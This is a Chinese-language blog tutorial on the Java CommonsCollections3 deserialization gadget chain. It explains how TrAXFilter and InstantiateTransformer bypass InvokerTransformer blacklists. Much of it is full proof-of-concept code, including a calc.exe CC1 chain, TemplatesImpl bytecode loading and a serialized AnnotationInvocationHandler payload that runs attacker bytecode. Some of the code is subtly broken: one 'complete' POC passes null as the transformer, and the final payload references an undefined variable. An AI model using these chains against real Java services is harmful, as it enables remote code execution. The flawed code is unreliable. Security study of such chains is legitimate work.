Java安全之CC3

前言

上一篇文章学习了Java中加载字节码的⼀些⽅法，其中介绍了TemplatesImpl，TemplatesImpl 是⼀个可以加载字节码的类，通过调⽤其newTransformer()⽅法，即可执⾏这段字节码的类构造器。

分析

在CC1中，我们说可以利⽤TransformedMap执⾏任意Java⽅法；

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"C:/Windows/System32/calc.exe"}),
        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("test", "xxxx");
    }
}

⽽在Java安全之动态加载字节码中，我们⼜学习了如何利⽤TemplatesImpl执⾏字节码

public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
        obj.newTransformer();
    }
}

只需要结合这两段POC，即可很容易地改造出⼀个执⾏任意字节码的CommonsCollections利⽤ 链：只需要将第⼀个demo中InvokerTransformer执⾏的“⽅法”改 成 TemplatesImpl::newTransformer() ，即为

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
};

完整POC如下:

public class a {
    public static void setFieldValue(Object obj, String fieldName, Object Value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, Value);
    }

    public static void main(String[] args) throws Exception {
// source: bytecodes/HelloTemplateImpl.java
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAIQoABgASCQATABQIABUKABYAFwcAGAcAGQEA" +
                "CXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RP" +
                "TTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0" +
                "aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCm" +
                "KExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29y" +
                "Zy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2Fw" +
                "YWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxp" +
                "bml0PgEAAygpVgEAClNvdXJjZUZpbGUBABdIZWxsb1RlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAb" +
                "DAAcAB0BABNIZWxsbyBUZW1wbGF0ZXNJbXBsBwAeDAAfACABABJIZWxsb1RlbXBsYXRlc0ltcGwB" +
                "AEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFj" +
                "dFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5z" +
                "bGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3Ry" +
                "ZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5n" +
                "OylWACEABQAGAAAAAAADAAEABwAIAAIACQAAABkAAAADAAAAAbEAAAABAAoAAAAGAAEAAAAIAAsA" +
                "AAAEAAEADAABAAcADQACAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAACgALAAAABAABAAwA" +
                "AQAOAA8AAQAJAAAALQACAAEAAAANKrcAAbIAAhIDtgAEsQAAAAEACgAAAA4AAwAAAA0ABAAOAAwA" +
                "DwABABAAAAACABE=");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(obj),
                new InvokerTransformer("newTransformer", null, null)
        };

        Transformer chian = new ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMaP = TransformedMap.decorate(innerMap, null, null);
        outerMaP.put("test", "xxxx");
    }
}

我们来分析一下为什么可以这样构造。

首先在java安全之CC1浅学(1)中，我们了解到CC链其核心原理是InvokerTransformer#transform，可以执行任意方法。

在Java安全之动态加载字节码中我们了解到TemplatesImpl加载字节码的调用链前边TemplatesImpl#newTransformer()

那么我们可以将InvokerTransformer参数由原来的exec()方法换成newTransformer()方法，这样就组成了一条新的链

由于我们这里依旧使用了TransformedMap所以版本依旧限制在8U71之前

成功执行字节码

ysoserial

再来看ysoserial中的CC3，可以发现其中没有使⽤到InvokerTransformer原因是什么呢？

2015年初，@frohoff和@gebl发布了Marshalling Pickles：how deserializing objects will ruin your day，以及反序列化利用工具yaoserial，安全开发者自然会去寻找一种安全的过滤方法，类似SerialKiller这样的工具随之诞生：

SerialKiller是⼀个Java反序列化过滤器，可以通过⿊名单与⽩名单的⽅式来限制反序列化时允许通过的类。在其发布的第⼀个版本代码中，我们可以看到其给出了最初的⿊名单

这个⿊名单中InvokerTransformer赫然在列，也就切断了CommonsCollections1的利⽤链。ysoserial随后增加了不少新的Gadgets，其中就包括CommonsCollections3。

CommonsCollections3的⽬的很明显，就是为了绕过⼀些规则对InvokerTransformer的限制。 CommonsCollections3并没有使⽤到InvokerTransformer来调⽤任意⽅法，⽽是⽤到了另⼀个 类， com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter

这个类的构造⽅法中调⽤(TransformerImpl) templates.newTransformer(),免去了我们使⽤InvokerTransformer⼿⼯调⽤ newTransformer() ⽅法这⼀步

当然，缺少了InvokerTransformer，TrAXFilter的构造⽅法也是⽆法调⽤的。这⾥会⽤到⼀个新的Transformer，就是 org.apache.commons.collections.functors.InstantiateTransformer 。InstantiateTransformer也是⼀个实现了Transformer接⼝的类，他的作⽤就是调⽤构造⽅法.

目标很明确了，利⽤InstantiateTransformer来调⽤到TrAXFilter的构造⽅法，再利⽤其构造⽅法⾥的templates.newTransformer()调⽤到TemplatesImpl⾥的字节码

构造的Transformer调⽤链如下：

Transformer[] transformers = new Transformer[]{
 					new ConstantTransformer(TrAXFilter.class),
 					new InstantiateTransformer(
 								new Class[] { Templates.class },
 								new Object[] { obj })
 			};

替换到前⾯的demo中，也能成功触发，避免了使⽤InvokerTransformer

接下来，就来构造一个完整的Payload：

public class CC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        Transformer chain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, chain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        setFieldValue(transformerChain, "iTransformers", transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        // 本地测试触发
        // System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

这个POC也有CommonsCollections1⼀样的问题，就是只⽀持Java 8u71及以下版本，我们可以参考Java安全之CC6进行改造让其能通杀Java7和Java8。